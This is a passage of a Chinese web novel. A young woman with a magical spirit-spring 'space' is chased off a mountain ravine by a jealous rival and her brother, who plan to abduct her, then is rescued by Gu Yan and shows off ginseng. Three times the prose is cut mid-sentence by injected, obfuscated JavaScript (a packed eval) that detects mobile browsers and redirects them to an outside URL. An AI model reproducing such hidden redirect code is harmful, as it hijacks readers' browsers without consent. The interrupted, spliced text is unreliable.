赵书宜觉得对方的腿既然是筋脉问题,应该不太可能好起来,哪怕自己给她用灵泉水泡脚。 所以她看不看对方的情况已经没有那么重要,她想要做的事也没那么急了。 她打算先从对方的伤疤出发,等对方接受了自己的祛疤膏,再给对方用灵泉水泡脚,缓解对方的病情。 要想让对方同意用自己的祛疤膏,自己首先就要给得有诚意。 还有什么比自己亲自上山采药研制药膏有诚意呢? “你个小丫头,上山小心一点,这个时不时抹点在鞋子裤腿上,能够驱虫的。” 王军医知道赵书宜想上山采药,她说跟顾岩讲过了王军医也没怀疑。 卫生所离不得人,他没法陪着去,便传授了一些经验给赵书宜。 赵书宜自然也是照单全收。 “谢谢王军医,我会小心的,夏连长那边就劳您费心了。” 王军医不耐烦挥挥手。 “去吧去吧,总算让我清静一天了。” “刀子嘴豆腐心,等我给您带菌子吃吧。” 凭着赵书宜的厨艺,就没有她想拿拿不下的人,王军医现在就馋她那口。 果不其然,她一转头,他就盯着饺子饭盒看,一看就很馋。 “你别把夏连长他们的份儿给吃了啊!” “嘿,我是这种人吗?” 赵书宜嘿嘿两声,这才走了。 既然是要上山,样子肯定是要做足的,她背了一个不大不小的背篓往上次顾岩带她去的那座山的方向而去。 出了镇子不过几分钟,背后传来自行车的声音。 赵书宜下意识回头,看到一个皮肤黝黑的年轻人。 年轻人十七八岁的样子,赵书宜总觉得在哪见过。 “兴许是部队里的吧。”她想。 她也来这么长时间了,在路上碰到点眼熟的人也实属正常。 赵书宜也没太在意,呼吸着新鲜空气,享受着今天的旅程。 既然上山,赵书宜还是有些期待的。 兔子她就不想了,蘑菇必须捡到一些,想到香喷喷的蘑菇炖鸡,赵书宜脚下步子又快了些,不多时就到了山脚下。 而彼时方才与她错身而过的年轻人也正跟着几个男男女女往上山的方向而去。 “小月,你真的要那样做吗,如果真发生什么事,就回不了头了。” 蔡小月语气冷淡,仔细听,那冷淡里还有一丝兴奋。 “我从来没想过要回头,我回头干什么,领略人间疾苦吗?” 闻言年轻人只是抿唇也没再阻拦。 他扶着自行车安安静静地跟在她身边。 蔡小月眼底闪过不屑,转头看着他。 “你赶紧回去吧,别跟着我们,这些事不牵扯上你。” “我跟你们一起,遇到什么事还能搭把手。” 听到这话,蔡小月生怕他一会儿坏事,冷着脸道:“我家的事,你别跟着瞎掺和,赶紧回去吧。” 蔡家老大看着他们二人也跟着劝。 这样的事情当然是越少人知道越好。 “是啊,小磊,你就别跟着我们了,万一要是真出什么事,至少你还能保全得住。” 年轻人一听有些急了,“蔡大哥,就不能不去吗,万一……” “闭嘴!我让你滚!” 她大哥本就是个胆小的,可听不得这样的怀疑。 蔡小月一发火,年轻人立即停住脚步。 看着蔡家人离开的背影,他神情犹豫,到底是没跟着上前。 前方,蔡家老大往后望了一眼,看着对方还怔怔站在那里,他问:“小妹,他该不会把我们的事说出去吧。” “你觉得呢?” 蔡家老大撇撇嘴,“他什么都听你的,让他往东他不敢往西,他肯定不会出卖我们,说不定我们出事他还能帮我们顶着呢。” 他说得自豪,心里其实是很瞧不上肖磊的。 一个男人被女人骗得团团转,简直就是废物。 蔡小月听了他的话,没有反驳。 “大哥你一会儿机灵点,可别放过那个女人。” 蔡家老大心里还是有点忐忑,但又想到蔡小月说的对方比文工团的女兵还要漂亮他脑子里就浮想联翩。 “你不是说她特别漂亮吗,为了媳妇我肯定会好好干的。” 听到他说漂亮,蔡小月手指掐进掌心没说话。 每每想到那张脸,她巴不得划烂! “地窖准备好了吗,别到时候被别人发现。” 她早就等得不耐烦了。 没想到赵书宜这么久才出门。 蔡小月一早就准备了动手。 上次看到赵书宜,对方居然是和顾岩一起出门,两人说说笑笑看着就碍眼。 男人都一个样,看着漂亮女人都挪不动道。 不是漂亮吗,那张脸她还就非要毁掉! 这些天蔡小月一直都在琢磨这件事,她发现事情也不是万无一失的,所以得尽量不露出破绽。 蔡家老大却十分自信。 “放心吧,都按你说的准备好了,到时候抓回去保准没人能找得到她。” 为了让自己爽他可是把里面的窝都安排好了。 蔡家老大也有自己的小心思,他觉得或许这个地窖用了这一回还能用第二回。 以后他可以把别人领进去。 只是可惜了那个大小姐是城里的,到时候他娶了她,他们家肯定也是要进城去的,只怕那地窖也用不了几回,他得抓紧时间。 但是一想到以后自己在城里过好日子的情形,蔡家老大又高兴起来。 都进城了,他还能缺个地窖吗? 到时候他可以买很多房子,挖很多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16734167|187744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地窖,每个地窖藏一个女人,想想就刺激。 兄妹两人各怀心思可苦了走在他们前面的赵书宜。 “阿嚏!”又是一个喷嚏让赵书宜觉得自己是不是感冒了。 她明明觉得自己的这副身体已经比之前好很多了啊。 当然这也不单单是顾岩教的锻炼方法的功劳,她很清楚,灵泉水才是她身体变化的最主要原因。 可她怎么就这么轻易地感冒了呢? “真是怪了。” 突然,赵书宜眼前一亮,前面出现了一大片新鲜蘑菇。 有之前顾岩说过的这边人最爱吃的见手青。 她现在也最爱这个! 赵书宜匆匆上前,她先看了一下四周,没急着采,而是直接摸着菌子收进了自己的空间。 没一会儿她的空间里就长了一片蘑菇。 赵书宜心里飞扬起来,哪还有心思去管谁在背后骂她? 找到这片菌子,赵书宜就像是打开了幸运世界的大门,后面又碰到了一大片鸡枞菌。 最大的鸡枞菌有脸盆大小! 之前她听顾岩说起还以为对方在吹牛,没想到居然是真的。 她决定今晚就吃这一朵。 只是想想味道就馋得赵书宜咽口水。 不走大路是她今天做过的最正确的决定。 收完鸡枞菌,赵书宜又碰到了一些其他的杂菌,虽然没再像刚才那两丛那么多,但看着也很新鲜。 看着不夸张的菌子赵书宜就没再收进空间而是往背篓里放。 过了差不多一个小时,她一看小背篓,蘑菇加草药都已经快半背篓了。 大概是担心赵书宜进深山,王军医给她安排的任务都是一些不值钱的常见的草药,所以赵书宜碰到挺多。 她随意摘了一些,没全部收。 来都来了,最好还是摘一点好的回去。 她摘蘑菇摘草药耽误了一些时间,进山的速度也慢了下来,全然不知道危险正在朝着自己逼近。 转过一片刺梨,赵书宜发现山壁上居然有好多铁皮石斛,那可是好东西。 虽然不多,她今天也可算是有了收获。 赵书宜放下背篓,挽了袖子,正准备大干一场,背后一凉。 她匆忙回头,什么也没看见。 刚才她好像听见了什么窸窸窣窣的声音。 赵书宜紧张地吞咽了一下,耳边总觉得那声音还在,可一看又什么也看不到。 越想刚才那种感觉她越觉得有人在盯着自己。 她猜不到是什么。 是狼吗? 还是熊瞎子? 此时还不出来的,多半是有点聪明的畜牲。 脑子里乱七八糟想了一通,其实也就是转念之间。 赵书宜完全没打算恋战。 连背篓都没拿转身就跑。 躲在林子里的蔡家兄妹都傻了。 他们明明已经那么小心,明明已经那么隐蔽,怎么就被发现了呢? 刚才他们上山,原以为很难找到赵书宜,没想到她居然没走大路,而且还留下十分明显的痕迹,他们很顺利就追了过来。 原本他们二人是想等赵书宜专心摘草药的时候偷袭的,结果没想到她居然发现了。 发现后她的第一反应居然是跑。 蔡小月几乎没有犹豫,拔腿就追! “追啊!” 41. 都怪顾岩 部队办公室。 顾岩又没有等到赵书宜的午饭,他认命收拾东西准备自己去食堂。 这几天他一直都等着赵书宜给自己送饭。 因为她说了好吃有空就给自己送。 他觉得她做的饭都很好吃。 难道是没空吗? 她在忙什么? 顾岩起身,心头突然猛地跳了一下。 他大跨步出了办公室,直奔家属院而去。 - 而此时此刻。 赵书宜正在和蔡小月兄妹玩“她逃他追”的戏码。 她万万没想到自己居然会在山上遇见蔡小月,而且对方明显还是冲着她来的。 别问为什么,问就是直觉。 当然,从蔡小月那凶狠的眼神和穷追不舍的劲儿里也能窥见一二。 “你们追我干什么?” 赵书宜喘得肺痛,她跑在前面还得给那两人开路,她的裤子都划破了,已经逐渐和那两人拉近距离。 跑不赢她只能考虑讲道理了。 追得这么紧,她连进空间的机会都没有。 赵书宜心里有点发慌。 “追我干什么?” “你跑什么,你站住!” 明知道他们来者不善,赵书宜会停下才有鬼了。 她不仅没停,反而跑得更快,同时她也在想着反击的方法。 实在不行也只能把空间里的锄头拿出来了,大不了到时候就说是自己带上山的。 总得先活下来。 眼看着对方越跟越近,她不能再拖了。 赵书宜下定决心便往旁边灌木丛一歪。 旋即她瞳孔猛地一缩。 失重感让她有一瞬间的空白。 赵书宜整个身子不受自己的控制,直直往下滚去。 最后关头她还是没有进入空间。 或者说她整个人已经失去了最基本的判断行为能力,脑子都是懵的,已经不知道该怎么办了。 眼前的景象不断变化,赵书宜反应过来时人已经躺在了一个山沟里。 她全身上下都像是被爆锤了一样的疼。 头顶烈日炎炎,四周除了花草树木再没了其他。 她看不清上面的人,也不确定上面的人看不看得到自己。 没敢贸然行动,赵书宜只是喝了点灵泉水便躺在原地没有动弹。 也不知道这么一摔有没有摔到内脏骨头和脑子。 躺了不知道多久,赵书宜这才感觉自己的心跳平缓下来。 大概是灵泉水的作用,她感觉身体也舒服了不少。 她必须要进空间查看一下自己的身体。 赵书宜艰难地爬起身来,回想刚才的情形。 她本来是想躲进灌木丛避开那两人的视线拿武器的,谁能想到呢,居然一脚就踏空了。 虽然是已经舒服了一点,但刚才崴到的脚还是有点疼。 就在赵书宜纠结自己要不要立马将自己的脚医治好的时候,上面又传来窸窸窣窣的响动。 赵书宜吓了一跳。 脑子里无数念头闪过。 他们就算要来找自己肯定也不会直接下来,难道是不小心掉下来了?还是投石? 没等赵书宜想明白,她已经看到了声音的来源。 居然是她的背篓。 赵书宜一时间都不知道该做出什么反应了。 人在十分生气的时候可能真的是会无语的。 赵书宜避开背篓落下来的位置,背篓就直接落在了她的脚下。 她看了一下,里面的草药还在,菌子少了大半。 那些菌子都是她辛辛苦苦采的,她还特意放在了最下面,所以不可能是不小心掉出来的,被他们给拿走了。 赵书宜深吸一口气,好气。 她把背篓背起来。 得找个出去的路。 这个小山沟说是山沟都有些牵强,只是一块巨石在山崖中间形成的一块空间。 往外走两步依旧是深不见底的山崖,看一眼赵书宜腿都软了。 她只得往前走,希望前方有路,至少避开上面的视野,能让她进空间躲一下。 结果转过弯,看到眼前的红果子赵书宜眼睛绝对瞪得像铜铃。 居然是人参,还不止一株。 赵书宜有点激动,脚下滑了一下,她的心也跟着猛的一跳。 不敢再激动,赵书宜蹲下来缓缓平复自己的情绪,等缓过来这才稳住身体朝着那几株人参走去。 观察了一下四周,确定没什么异常,她这才将几株人参都收进了空间。 今天可以带一株回去,其他的就种在空间好了。 她觉得种到空间里的人参一定会比长在外面的效用更好。 碰到人参还是让赵书宜很激动的,她把人参收进空间后迫不及待地也跟着进了空间。 就在那一瞬间,她的背后一阵凉意陡然升起。 赵书宜站在空间愣愣站了好一会儿。 她现在的心跳可能比刚才跌落山崖时还要快。 就在她刚才站过的那个位置,一只毒蛇正吐着信子探头探脑,像是在寻找什么。 赵书宜后知后觉背后冒出一层层冷汗。 差一点,差一点她就被毒蛇咬了。 收到人参的喜悦都冲淡不少,赵书宜跌坐在草地上,缓了许久许久,她开始查看自己身上的伤势。 身上的的确良衬衣破了好些口子,她身上也还有擦伤,但不太严重。 回忆起最开始跌落时的那种疼痛感,赵书宜觉得肯定是灵泉水恢复了她的伤势。 她没整理自己身上的伤口和脏污,也没再用灵泉水,这些可都是证据。 今天的事情不可能就这么算了。 赵书宜坐在地上坐了许久,不断地回想今天发生的事。 蔡小月两人是无意间撞见自己,还是知道自己会上山? 如果是后者,他们是怎么知道的? 只是想想赵书宜面色就变得更加凝重起来。 看了一眼旁边地里的人参和蘑菇,赵书宜心情勉强好点,幸亏今天不是毫无收获。 要不然她得呕死。 赵书宜简单地整理了一下自己背篓里的东西,她也不敢现在出去,她担心出去就被毒蛇盯上。 最主要的是她刚才已经看过了。 前方根本就没有可以离开的路,她要出去得回头看看另一边有没有路,没有路的话她就只能往上爬,或者是往下滑。 不管哪种都很危险。 顾岩应该会来找她的吧。 也不知道他能不能找到自己,会不会遇到毒蛇。 赵书宜眉头不自觉拧紧。 想着想着她有点气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739547|187744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,都怪顾岩,要不是他,就不会有蔡小月的事,自己也不会遭这无妄之灾。 他应该来找自己的。 想到这里,赵书宜干活的兴致的都高了。 不过她还是强打起精神开始翻地。 这一片她都已经安排好了,她要扩两块水田,八块旱地。 到时候田地种不完也没关系,也没人规定有地就一定要种完。 房子就建在灵泉水和田地的中间位置,也就是现在鸡鸭兔笼的前面,做什么都方便。 只是看着还只有一块地的空间。 赵书宜忍不住发出感叹。 “任重而道远啊!” 赵书宜抡起锄头就吭哧吭哧干活,锄头还是她今天专门放到空间的,想的就是自己今天可能会用到。 没想到外面没用到,却在空间里面用到了。 与此同时,顾岩也发现赵书宜不见了。 他本是想回家看看赵书宜,担心赵书宜没煮自己的饭,他还特意去食堂打了份饭和一份红烧肉。 结果回到家没看到赵书宜,反倒是见到了来诊脉的王军医。 “你来找那丫头,她不是上山去了吗?” 顾岩一惊,“上山,她一个人吗?” 听到这话王军医感觉到了不对劲,“是啊,他没跟你说吗,他说是你同意的,这死丫头居然骗我!” 顾岩脸色很难看,他也明白赵书宜是自己上山去了,不仅没等他,连说也没跟他说。 “陶团,帮我请个假,我去看一眼。” 陶团长点点头,“行,你去吧,事情也安排得差不多了,先把人找到再说。” 顾岩没再多说,他脑子嗡嗡的,眼皮也一直跳个不停,心里更是生起不好的预感。 她该不会是出事了吧。 顾岩不敢多想,深吸两口气,回家拿了水壶和一点外伤药急匆匆就冲了出去。 一路上他什么可能都想到了。 最好的结果就是赵书宜只是上山采点蘑菇什么事都没有。 可是心中的不安越来越盛。 原本要差不多一个小时的路程,顾岩半个小时就到了山脚下。 他不知道自己应该往哪个方向去找,只能走自己上次和她一起走的那条路。 - 赵书宜现在虽然在空间里,但她却也一直关注着空间外的情况。 那条毒蛇似乎已经离开了,但她不敢肯定。 她无比确定,如果那条毒蛇还在的话,自己不是中毒身亡就是被吓得掉下山崖去。 过了一会儿她又想顾岩一定会来找她的吧,说不定等到下午自己没去给他送饭他就来了。 可万一他有什么事出任务了呢? 一会儿她又想万一顾岩顺着之前两个人之前找过的那条路没找到自己怎么办? 万一顾岩也掉下山怎么办? 或者也遇到毒蛇? 赵书宜越想越怕,额头已经渗出冷汗。 不行! 她不能只等着顾岩来找她,她得自救,也不能害了别人。 等会儿一出什么事情,她就立马闪回空间。 她是能自救的! “我可以!” 给自己打气之后,赵书宜弄好背篓,又在自己裤腿仔仔细细撒上王军医给的药粉,然后意念一动,她重新出了空间到了那狭窄的崖壁之上。 42. 万一人还没死 赵书宜不敢往山崖下望,可又不敢不看,万一毒蛇就在下面伺机而动怎么办? 她左右看了看,并没有看到什么异常,松了一口气。 可一动作,她的腿就开始发软,之前扭伤的地方也钻心地疼。 想到各种可能,赵书宜双眼不争气地变得模糊。 好可怕。 她以后再也不要到这些地方来了。 原本以为有空间在是万无一失的,没想到那么危险。 没想到这个淳朴的年代有那么多会害人的人。 赵书宜吸了吸气,开始扶着石壁往前走。 “别哭,哭是最没用的,活着就已经很好了……” 赵书宜一边慢慢挪动,一边观察着四周的情况,她不敢抓那些树枝藤蔓,担心它们并不结实,只扶着石壁,身体尽量也靠着石壁,同时在心里给自己打气。 她既然来到了这个世界,就不应该那么快出事。 会好的。 赵书宜好不容易挪动出了一段距离,后背都被汗水浸得湿透了。 她脑子晕晕乎乎,耳边也仿佛产生了幻觉。 好像有人在叫她。 赵书宜定住脚步,她心中狂跳,想知道是不是自己的错觉。 听了一下,除了呼啸的风声,林中的虫鸣鸟叫声就是她自己的心跳声。 哪里有人? 赵书宜叹息了一声,“看来真是幻觉。” 她继续往前挪,又听到一声急促的“赵书宜”。 真的有人在叫她。 “我在这儿!顾岩!” “赵书宜!” 顾岩侦察兵出身,很快就找到了赵书宜的位置,但那地方他不可能完好无损地下去,所以他绕路浪费了一点时间,心里也有点不确定赵书宜的方向。 突然,他耳朵一动,好像听到了赵书宜的声音。 “赵书宜!” “我在这里,顾岩!顾岩!” 顾岩的速度就比赵书宜快多了,贴着石壁一步一步极稳地朝着声音方向而去。 比他的动作更快的是他的心跳。 他出任务这么多次,从来没有像此时此刻一样迫切地想要立刻结束任务。 “赵书宜。”他的声音里不自觉地带出一丝颤抖。 “顾岩……” 赵书宜没想到是真的,没想到顾岩真的找到自己了。 她眼泪哗啦啦地往下流,已经看不清前方的路。 但是她还是坚持往前挪动着,她知道,顾岩就在前面了。 什么毒蛇,什么山崖都被她抛到了脑后,她只知道顾岩来了就安全了。 其实她已经不怕了,但那种心悸的感觉还没消失,她迫切地想要看到人。 “顾岩……” 她又喊一声后,一个人影出现在她的眼前,有些模糊。 赵书宜想要立马过去。 看到她松开手,顾岩吓了一大跳。 “别动,等我过来。” 这一段路明明那么短,他却又像是走了好久。 但又像是一瞬之间。 他走到赵书宜面前,帮她擦了擦眼泪。 “别怕,我来了,我带你回去。” 顾岩拿过她背上的背篓背在了背上,然后牵着她的手,问:“可以走吗?” 赵书宜点头,坚定无比,“可以。” 两个人手牵着手,一步步顾岩往来时的方向挪。 其实还是很慢。 顾岩担心赵书宜不小心踩漏,赵书宜却是根本就走不快,她腿软得快要站不稳,整个人的力气几乎都撑在顾岩胳膊上。 她脑子里还是一片空白的,但她很清楚自己已经安全了。 现在只要看清楚脚下的路就可以了。 也不知走了多长时间,等赵书宜走到林子里,整个人几乎脱力。 她有些哽咽道:“顾岩,真的吓死我了,呜呜……” 顾岩揉了揉她的头,都舍不得责备她,“没事,下次我们不来了。” 赵书宜点头,丢开的理智渐渐回笼,她这才说起今天发生的事情。 “顾岩,是有人要害我。” 顾岩一惊,察觉到她走路一瘸一拐,把她扶到一边坐下。 “休息一会儿,慢慢说。” 连他自己都没发现自己此刻的声音多冷。 “是蔡小月,还有一个男人,我原本是在这边采草药的,然后我发现身后有人,我就跑,他们就一直追我,我就掉下去了。” 赵书宜想说很多话,想分析蔡小月为什么要追自己,想分析他们是不是早就知道自己来这里,想知道那个男人是谁? 可是她脑子特别乱,一时间不知道从什么地方说起,语无伦次。 顾岩又一直沉默没有说话,这让赵书宜很不安。 “你……你不相信我说的话?” “不是,我相信。”顾岩愣了下,才说,“我只是在思考,我看到了脚印,那个男人长什么样子?” 他刚才就注意到了不止一个人的脚印,有一个明显是男人,但他没想到蔡小月也在。 赵书宜回忆了一下,“是个很普通的男人,有点国字脸,不算太高,可能……我也不确定,大概一米七吧,跟蔡小月的眼睛有点像,可能是她家里的人,我要是看到肯定认识。” 顾岩嗯了一声,“你的脚扭到了,身上还有没有别的伤?” 他蹲在赵书宜的身前仰着头,赵书宜心里蓦地跳了一下。 “没……没有了吧,没感觉。” “没事,回去再看看,你背着背篓,我背你,有什么回去再说,蔡小月那边我肯定会去查的。” “好。”赵书宜没有推辞,他说要背自己,赵书宜就乖乖趴在了他的背上。 也不知道是不是紧张了一场,趴在他有些宽阔的背上,赵书宜就觉得疲惫席卷全身,没一会儿就发出了平稳的呼吸。 感受到她淡淡的呼吸声,顾岩慢下脚步,脸色却沉得可怕。 从那有些凌乱的脚步来看,蔡小月两人肯定是追着赵书宜跑的。 他们追赵书宜干什么? 还有赵书宜来山上,他们怎么会知道的? 赵书宜想到的他也想到了。 更何况他比赵书宜更了解蔡家人。 这座山虽然离蔡家村很近,但却不是离蔡家最近的一座山。 蔡家人没事不应该到这山上来,就算要来也没必要追着赵书宜。 还有,赵书宜已经出来这么久,看她脚腕伤的程度和身上的擦伤,她掉下去应该已经有一段时间。 为什么蔡小月他们没有去通知人。 除非他们是故意的,他们要害赵书宜。 有些事情顾岩没想往最坏的方向去想,可发生的一桩桩一件件,容不得他不多想。 有小亮的事情在前,他心里对蔡家人没有半分期待。 与此同时,蔡家。 蔡大和蔡明月两个人回到家里也同样胆战心惊。 家里人问他们两个发生了什么事情,两个人却又都说不出个所以然来。 “小妹,怎么办,我们真的不去找找吗,万一人还没死……” “那么高掉下去,不死也残,到时候你负责吗,要去你去,我可什么也不知道。” 蔡小月现在心里极其烦躁。 事情当然是她想要的,那女人死了,自己只要重新拉拢蔡明亮,还是很有把握的。 但是她就是担心今天的事情会怀疑到她的头上。 “去跟爸妈说,让他们出去别说漏了嘴,我们今天哪也没去,一直在家待着。” “这……”蔡大还是有些犹豫,“这能行吗?” 蔡小月看蔡大那熊样,还真不确定能不能行,要是有人问起,说不定真要出问题。 “大哥,不行也得行,难道你想去吃花生米吗?” 蔡大瞳孔一缩,猛猛摇头,“不,一定行一定行的。” 他越这么说,蔡小月越不放心。 “你拿点粮食去大嫂家里住几天,去哄哄她,住得越久越好,没事别回来。” 蔡大一想,这是个法子,当即就答应了。 “我这就去,这就去……” 蔡大离开,蔡家人更不可能知道发生什么事了。 反正蔡小月让他们别说他们下午一起出去了,他们不说就是了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16741434|187744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>然而,他们忘了,他们家里有个不省心的老二媳妇。 老二媳妇平常就喜欢打听八卦,自然想知道他们下午去做什么去了,于是她找了个机会私底下问蔡小月。 “小月,你们是不是去办那件事去了?” 她又不傻,这两个人一起出门,回来还心神不宁的,肯定是去办那件事去了啊。 蔡小月却不耐烦,根本没想和她多说,“什么事?二嫂,我不舒服,你能不能别烦我?” 老儿媳妇就这样被赶出了家门。 本来她要是知道了事情的严重性她也不可能去到处显摆,可现在没人跟她聊,她就起了心思,当天下午就回了娘家。 - 家属院。 看到赵书宜被背着回来,王军医吓了一大跳。 “这是怎么了,赶紧把人放下。” 他一边给赵书宜把脉,一边问:“什么情况?” “滚山坡下去了,您给她检查检查,看看有没有什么问题。” 王军医也顾不得那么多,赶紧检查。 “从脉象来看没什么太大的问题,吓着了,头上磕了一下,暂时看着不严重,身上的话得等她醒来问问看。” 赵书宜其实被放在床上就已经要醒了,只是不想睁开眼睛,觉得累。 听到王军医的声音,她缓缓睁眼,视线在王军医和顾岩身上扫过,有些虚弱地打了招呼。 “小丫头,你身上哪里疼,摔到没有?” 作为一个大夫,自己有没有什么外伤还是知道的,所以王军医并没有太担心。 果然,赵书宜摇了摇头,说:“没什么事,都是些皮外伤,脚扭到了,麻烦王军医给我擦点药油。” 王军医刚才已经看到了,他拿了药油直接递给了顾岩。 “你来。” 他们这些人出任务,跌打损伤在所难免,大多都会几手。 这扭伤脚也不是擦一次就行了,回去还得擦,所以就直接交给顾岩了。 顾岩也没拒绝,坐在了赵书宜的脚边,他也确实会。 “可能会有点痛,你忍忍。” 赵书宜嗯了一声。 顾岩大掌握住赵书宜的脚,赵书宜有些不自在地缩了一下,但对方的力气很大根本没让她有动的机会。 很快,药油被擦在脚腕,冰冰凉凉的,顾岩的手一贴上来,她顿时就感受到了他的温度。 他一按,赵书宜就嘶了一声。 真疼啊。 “别停,继续!” 王军医担心顾岩弄不好,一直在旁边盯着呢。 顾岩看了眼赵书宜,又说了一遍,“你忍忍。” 说着他就开始用力。 赵书宜疼得眉头紧皱,生理性眼泪一下子就被逼出来了,但她也没喊,她知道,就是得揉开了才能好得快点。 好不容易结束了,赵书宜觉得自己去了半条命。 “谢谢。” 她还不忘礼貌。 顾岩有些哭笑不得。 “你好好休息,休息一会儿看看还有哪里不舒服,没事了我们再回家去。” “没事了,你不是很忙吗,你赶紧去忙吧,我身上的情况我知道的,没什么事。” 顾岩嘴唇紧紧抿了一下拉得长长的。 他手底下的人都知道,这是他生气的前兆。 赵书宜看着也觉得对方好像不高兴,但是她完全没往自己身上想,还劝道:“赶紧去,别耽误了你的正事。” “我请假了,没什么事。” 王军医莫名觉得自己有点多余,也劝道:“你们赶紧回去吧,没事别在我这儿待着。” 他撵人了,两人自然不好多待。 突然赵书宜想到什么,问:“我背篓呢。” “你还有心思管背篓。”顾岩没好气,后知后觉感到后怕,还是没忍住噎了她一句。 赵书宜却一点也没在意。 “你快去把我背篓拿过来,我有好东西。” 顾岩见她兴致勃勃,没说什么,把背篓拿了过来,王军医自然也忍不住探头看。 这一看不要紧,他看到了什么? 他不是眼花了吧? 43. 顾岩,你人真好 “是人参吗?” 王军医很激动一把就夺过了赵书宜的背篓。 顾岩:“……” “是,您看看成色怎么样,我掉在那山崖下发现了这个,挖了好久呢。” 赵书宜想到自己空间里的宝贝们,心里更开心了。 顾岩看着记吃不记打的某人,嘴唇又抿紧了。 都吓成那样了,还记得挖人参。 “我看看,不错不错,挖得很好,卖给我怎么样,我们卫生所已经很久没有这样的好药材了。” 赵书宜挖到的这一株不仅品相好,而且年份高,药用价值也很高。 王军医很心动。 “也可以送去军医院那边。” 赵书宜知道他们都是为了军队里的人着想,但是这么一根人参关键时候可能能帮助人,平常时候却是没那么大用处的。 “我可以给一半,剩下的一半我有用。” 赵书宜犹豫一下说:“我有一个祛疤膏的方子,需要用到人参,我想试一下,就是不知道夏连长会不会同意用。” 闻言王军医愣了一下,顾岩也神情复杂地看了赵书宜一眼。 “她敢不同意,你就跟她说你为了挖这玩意儿差点摔个半身不遂,我看她好意思。” “咳咳,王军医。”顾岩面色不虞地看向王军医。 王军医摆摆手,“这不是说说吗,说说而已。” “你先回去做,你要是真做好了我帮你拿给她用。” 然后他看着手里的人参,有些肉疼地问:“一半够吗?” 赵书宜:“应该够了。” 她不能说得太笃定,否则就好像是蓄谋已久的。 王军医不知道她有这么多的小心思乐颠颠地说:“行,那你们先回去,我要慢慢处理,处理好了给你送过来。” “不用,我过来的时候自己取就是了。” “都行都行。” 王军医突然拍了一下自己的脑袋,“对了,还没跟你谈价钱,我暂时还确定不了,等我跟军医院那边先聊聊。” “不急,按市场价就行。” 赵书宜也不会大度到一文不取,她都摔成这样了。 “行,肯定尽可能给你多争取,如果争取不到,咱就不卖。” 赵书宜感觉他好像一下子就亲切了。 原来要讨好一个大夫,美食还不够,好药材才是关键。 “行。” “你们赶紧走吧,那个药膏回去涂一下身上的伤,姑娘家爱漂亮,你上点心。”这话是对顾岩说的。 顾岩把赵书宜背起来,“我知道了。” 两人回家,路上难免遇到人,大家见赵书宜这惨样,又难免上前询问。 赵书宜现在眼睛还红通通的,她很不好意思。 “你走快点,别让大家盯着我们。” 顾岩觉得好笑,想笑话她,可想到她身上的伤,他又把笑容敛了回去。 他冷着一张脸,吓退不少人,很快就回了家。 顾岩要把她往房间里背,赵书宜连忙制止。 “你等一下,先把我放下来吧,我身上脏,想先擦洗一下换身衣服。” 顾岩没反对,把她放在了凳子旁边,“我去烧水。” 赵书宜看着他进厨房的背影,秀眉微蹙。 她怎么觉得顾岩不太高兴? 自己是不是又给他惹麻烦了? 赵书宜有些懊恼,但今天的收获她是满意的,只是想到蔡小月她放松的心情又凝重起来。 看了眼厨房,又看一眼,自然是看不到顾岩的,只能听到里面顾岩忙碌的声音。 不管怎么样,先给顾岩道个歉吧。 赵书宜深吸一口气,一瘸一拐走向厨房。 顾岩正在烧火,看到她忙起身,“怎么过来了,需要什么喊一声我帮你拿,要喝水吗?” 见他关心自己,赵书宜莫名鼻子发酸。 顾岩真是个好人。 她走上前深深鞠了一躬,“对不起,我今天给你惹麻烦了,以后我会尽量少出去的。” 赵书宜想说今天是个意外,但她又不确定自己以后就真什么事都不会有。 但是今天确实是自己出去没提前跟顾岩说。 她又庆幸自己没跟顾岩说,如果说了对方不一定能那么快出去找自己。 是啊。 他怎么那么快就来找自己了? 顾岩被她这一鞠躬一道歉给弄懵了。 看她垂着头,一副犯了大错的样子,这跟家属院那些小孩儿犯了错认错的模样有什么区别。 他不禁觉得好笑。 她都这样认错了,自己还怎么怪她? “没事……” “你怎么知道我上山了,还来得那么及时……” 两人几乎同时开口,赵书宜把话问完了。 “是有人来告诉你吗?” 顾岩想到自己中午心中那种感觉,也有点疑惑,他老实道:“没有,我就是中午想回家吃饭,结果没见到你,这才知道你上山去了,我有点不放心就去找你了。” “不是让你等我放假一起吗?” 他这语气里似乎还带了点委屈。 赵书宜心虚。 “对不起,我就是想着去摘点蘑菇……” 别的她没多说,说多了都像是借口。 说起来她还有些生气。 她就是想着去一趟,推进一下夏木兰的事情,然后把空间里的兔子顺理成章拿出来。 结果计划都被蔡小月给打乱了。 但她挖到了人参诶。 气都气不起来。 